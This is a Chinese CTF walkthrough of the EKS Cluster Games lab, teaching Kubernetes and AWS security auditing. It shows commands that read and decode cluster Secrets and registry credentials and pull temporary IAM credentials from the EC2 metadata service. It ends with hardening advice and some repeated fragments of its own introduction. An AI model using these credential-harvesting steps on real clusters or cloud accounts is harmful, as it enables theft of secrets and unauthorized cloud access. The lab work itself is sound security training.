从0到1学习EKS安全实战指南<\/h1>

前言<\/h2>
本教程基于EKS Cluster Games靶场(https:\/\/eksclustergames.com\/)进行实战演练，详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践，您将掌握Kubernetes集群安全审计的核心技能。<\/p>

基础概念<\/h2>

Kubernetes Secret<\/h3>

Secret是Kubernetes中用于存储敏感数据的对象类型，如密码、Token或密钥。与ConfigMap类似，但专门设计用于机密数据。<\/p>

特点<\/strong>：<\/p>

独立于Pod创建，降低敏感数据暴露风险<\/li>
Kubernetes会采取额外保护措施，如避免写入非易失性存储<\/li>
需要特定权限才能访问<\/li> <\/ul>
kubectl基础<\/h3>
kubectl是Kubernetes集群管理命令行工具，核心命令包括：<\/p>
kubectl get <resource> # 获取资源<\/span> <\/span><\/span>kubectl auth can-i # 权限检查<\/span> <\/span><\/span>kubectl describe # 查看资源详情<\/span> <\/span><\/span><\/code><\/pre>实战演练<\/h2> 挑战1: Secret Seeker<\/h3> 目标<\/strong>：列出集群中的所有Secret并找到flag<\/p> 步骤<\/strong>：<\/p> 检查当前权限：<\/li> <\/ol> kubectl auth can-i --list <\/span><\/span><\/code><\/pre> 查看Secret权限：<\/li> <\/ol> get<\/code>: 读取特定Secret<\/li> list<\/code>: 列出所有Secrets<\/li> watch<\/code>: 监听Secret变化<\/li> create\/update\/patch\/delete<\/code>: 创建\/更新\/删除Secret<\/li> <\/ul> 列出所有Secret：<\/li> <\/ol> kubectl get secrets -o yaml <\/span><\/span><\/code><\/pre> 解码Base64内容获取flag<\/li> <\/ol> 挑战2: Registry Hunt<\/h3> 目标<\/strong>：检查容器注册表获取敏感信息<\/p> 权限检查<\/strong>：<\/p> kubectl auth can-i --list <\/span><\/span><\/code><\/pre>get与list权限区别<\/strong>：<\/p> 权限<\/th> 作用<\/th> 示例<\/th> <\/tr> <\/thead> get<\/td> 查看特定资源详细信息，需知道资源名称<\/td> kubectl get pod my-pod<\/code><\/td> <\/tr> list<\/td> 列出某类资源的所有实例<\/td> kubectl get pods<\/code><\/td> <\/tr> <\/tbody> <\/table> 实战步骤<\/strong>：<\/p> 获取Pod详情：<\/li> <\/ol> kubectl get pods -o yaml <\/span><\/span><\/code><\/pre> 分析关键字段：<\/li> <\/ol> imagePullSecrets<\/code>: 指定从私有仓库拉取镜像的凭证Secret<\/li> containers.image<\/code>: 使用的容器镜像<\/li> <\/ul> 获取Secret内容：<\/li> <\/ol> kubectl get secret <secret-name> -o yaml <\/span><\/span><\/code><\/pre> 解码.dockerconfigjson<\/code>获取凭证：<\/li> <\/ol> echo "<base64-data>"<\/span> | base64 -d <\/span><\/span><\/code><\/pre> 使用crane工具登录Docker：<\/li> <\/ol> crane auth login -u <username> -p <token> index.docker.io <\/span><\/span>crane pull <image> output.tar <\/span><\/span><\/code><\/pre>挑战3: Image Inquisition<\/h3> 目标<\/strong>：深入检查ECR镜像仓库，分析镜像层获取隐藏信息<\/p> 步骤<\/strong>：<\/p> 获取Pod使用的ECR镜像信息<\/p> <\/li> 访问EC2元数据服务获取临时凭证：<\/p> <\/li> <\/ol> curl http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/ <\/span><\/span>curl http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<role-name> <\/span><\/span><\/code><\/pre> 配置AWS CLI：<\/li> <\/ol> export AWS_ACCESS_KEY_ID=<\/span><access_key> <\/span><\/span>export AWS_SECRET_ACCESS_KEY=<\/span><secret_key> <\/span><\/span>export AWS_SESSION_TOKEN=<\/span><token> <\/span><\/span>aws sts get-caller-identity # 验证凭证<\/span> <\/span><\/span><\/code><\/pre> 获取ECR登录密码：<\/li> <\/ol> aws ecr get-login-password <\/span><\/span><\/code><\/pre> 登录ECR并检查镜像：<\/li> <\/ol> crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com <\/span><\/span>crane pull <image> output.tar <\/span><\/span>tar -xvf output.tar <\/span><\/span><\/code><\/pre>安全防护建议<\/h2> 最小权限原则<\/strong>：严格控制Secret访问权限<\/li> 镜像安全<\/strong>：使用私有仓库<\/li> 定期扫描镜像漏洞<\/li> 避免在镜像中存储敏感信息<\/li> <\/ul> <\/li> IAM角色管理<\/strong>：限制EC2实例的IAM角色权限<\/li> 定期轮换凭证<\/li> <\/ul> <\/li> 元数据保护<\/strong>：使用IMDSv2(需要令牌的元数据服务)<\/li> 限制元数据服务的网络访问<\/li> <\/ul> <\/li> <\/ol> 总结<\/h2> 通过本教程，您已掌握：<\/p> Kubernetes Secret的安全审计方法<\/li> 容器镜像注册表的敏感信息获取技术<\/li> AWS ECR和EC2元数据服务的利用方式<\/li> 相关安全防护的最佳实践<\/li> <\/ol> 这些技能对于云安全审计和渗透测试至关重要，建议在实际环境中谨慎使用这些技术，并始终遵循道德准则。<\/p>

从0到1学习EKS安全实战指南<\/h1>

前言<\/h2> 本教程基于EKS Cluster Games靶场(https:\/\/eksclustergames.com\/)进行实战演练，详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践，您将掌握Kubernetes集群安全审计的核心技能。<\/p>

基础概念<\/h2>

实战演练<\/h2>

前言<\/h2>
本教程基于EKS Cluster Games靶场(https:\/\/eksclustergames.com\/)进行实战演练，详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践，您将掌握Kubernetes集群安全审计的核心技能。<\/p>